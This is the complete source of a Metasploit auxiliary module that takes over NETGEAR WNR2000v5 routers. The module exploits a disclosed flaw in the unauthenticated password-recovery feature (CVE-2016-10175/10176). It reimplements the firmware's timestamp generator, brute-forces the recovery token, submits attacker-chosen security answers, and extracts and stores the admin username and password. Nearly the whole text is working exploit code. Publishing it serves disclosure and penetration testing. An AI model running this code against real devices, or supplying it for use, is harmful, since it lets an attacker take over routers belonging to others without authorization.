NETGEAR WNR2000v5 Administrator Password Recovery

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'time'class MetasploitModule < Msf::Auxiliary  include Msf::Exploit::Remote::HttpClient  include Msf::Auxiliary::CRand  def initialize(info = {})    super(      update_info(        info,        'Name' => 'NETGEAR WNR2000v5 Administrator Password Recovery',        'Description' => %q{          The NETGEAR WNR2000 router has a vulnerability in the way it handles password recovery.          This vulnerability can be exploited by an unauthenticated attacker who is able to guess          the value of a certain timestamp which is in the configuration of the router.          Brute forcing the timestamp token might take a few minutes, a few hours, or days, but          it is guaranteed that it can be bruteforced.          This module works very reliably and it has been tested with the WNR2000v5, firmware versions          1.0.0.34 and 1.0.0.18. It should also work with the hardware revisions v4 and v3, but this          has not been tested.        },        'Author' => [          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module        ],        'License' => MSF_LICENSE,        'References' => [          ['CVE', '2016-10175'],          ['CVE', '2016-10176'],          ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],          ['URL', 'https://seclists.org/fulldisclosure/2016/Dec/72'],          ['URL', 'https://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability']        ],        'DisclosureDate' => '2016-12-20'      )    )    register_options(      [        Opt::RPORT(80)      ]    )    register_advanced_options(      [        OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]),        OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting through', 200])      ]    )  end  def get_current_time    res = send_request_cgi({      'uri' => '/',      'method' => 'GET'    })    if res && res['Date']      date = res['Date']      return Time.parse(date).strftime('%s').to_i    end  end  # Do some crazyness to force Ruby to cast to a single-precision float and  # back to an integer.  # This emulates the behaviour of the soft-fp library and the float cast  # which is done at the end of Netgear's timestamp generator.  def ieee754_round(number)    [number].pack('f').unpack('f*')[0].to_i  end  # This is the actual algorithm used in the get_timestamp function in  # the Netgear firmware.  def get_timestamp(time)    srandom_r time    t0 = random_r    t1 = 0x17dc65df    hi = (t0 * t1) >> 32    t2 = t0 >> 31    t3 = hi >> 23    t3 -= t2    t4 = t3 * 0x55d4a80    t0 -= t4    t0 += 0x989680    ieee754_round(t0)  end  def get_creds    res = send_request_cgi({      'uri' => '/BRS_netgear_success.html',      'method' => 'GET'    })    if res && res.body =~ /var sn="(\w*)";/      serial = ::Regexp.last_match(1)    else      fail_with(Failure::Unknown, "#{peer} - Failed to obtain serial number, bailing out...")    end    # 1: send serial number    send_request_cgi({      'uri' => '/apply_noauth.cgi',      'query' => '/unauth.cgi',      'method' => 'POST',      'Content-Type' => 'application/x-www-form-urlencoded',      'vars_post' =>      {        'submit_flag' => 'match_sn',        'serial_num' => serial,        'continue' => '+Continue+'      }    })    # 2: send answer to secret questions    send_request_cgi({      'uri' => '/apply_noauth.cgi',      'query' => '/securityquestions.cgi',      'method' => 'POST',      'Content-Type' => 'application/x-www-form-urlencoded',      'vars_post' =>      {        'submit_flag' => 'security_question',        'answer1' => @q1,        'answer2' => @q2,        'continue' => '+Continue+'      }    })    # 3: PROFIT!!!    res = send_request_cgi({      'uri' => '/passwordrecovered.cgi',      'method' => 'GET'    })    if res && res.body =~ %r{Admin Password: (.*)</TD>}      password = ::Regexp.last_match(1)      if password.blank?        fail_with(Failure::Unknown, "#{peer} - Failed to obtain password! Perhaps security questions were already set?")      end    else      fail_with(Failure::Unknown, "#{peer} - Failed to obtain password")    end    if res && res.body =~ %r{Admin Username: (.*)</TD>}      username = ::Regexp.last_match(1)    else      fail_with(Failure::Unknown, "#{peer} - Failed to obtain username")    end    return [username, password]  end  def send_req(timestamp)    query_str = (if timestamp.nil?                   '/PWD_password.htm'                 else                   "/PWD_password.htm%20timestamp=#{timestamp}"                 end)    res = send_request_raw({      'uri' => '/apply_noauth.cgi',      'query' => query_str,      'method' => 'POST',      'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },      'data' => "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=#{@q1}&question2=2&answer2=#{@q2}"    })    return res  rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e    return  end  def run    # generate the security questions    @q1 = Rex::Text.rand_text_alpha(rand(2..21))    @q2 = Rex::Text.rand_text_alpha(rand(2..21))    # let's try without timestamp first (the timestamp only gets set if the user visited the page before)    print_status("#{peer} - Trying the easy way out first")    res = send_req(nil)    if res && res.code == 200      credentials = get_creds      print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"")      return    end    # no result? let's just go on and bruteforce the timestamp    print_error("#{peer} - Well that didn't work... let's do it the hard way.")    # get the current date from the router and parse it    end_time = get_current_time    if end_time.nil?      fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time")    end    if end_time <= datastore['TIME_OFFSET']      start_time = 0    else      start_time = end_time - datastore['TIME_OFFSET']    end    end_time += datastore['TIME_SURPLUS']    if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i      end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i    end    print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.")    print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but it might take hours).")    # work back from the current router time minus datastore['TIME_OFFSET']    loop do      for time in end_time.downto(start_time)        timestamp = get_timestamp(time)        sleep 0.1        if time % 400 == 0          print_status("#{peer} - Still working, trying time #{time}")        end        res = send_req(timestamp)        next unless res && res.code == 200        credentials = get_creds        print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"")        store_valid_credential(user: credentials[0], private: credentials[1]) # more consistent service_name and protocol, now supplies ip and port        return      end      end_time = start_time      start_time -= datastore['TIME_OFFSET']      if start_time < 0        if end_time <= datastore['TIME_OFFSET']          fail_with(Failure::Unknown, "#{peer} - Exploit failed")        end        start_time = 0      end      print_status("#{peer} - Going for another round, finishing at #{start_time} and starting at #{end_time}")      # let the router clear the buffers a bit...      sleep 30    end  endend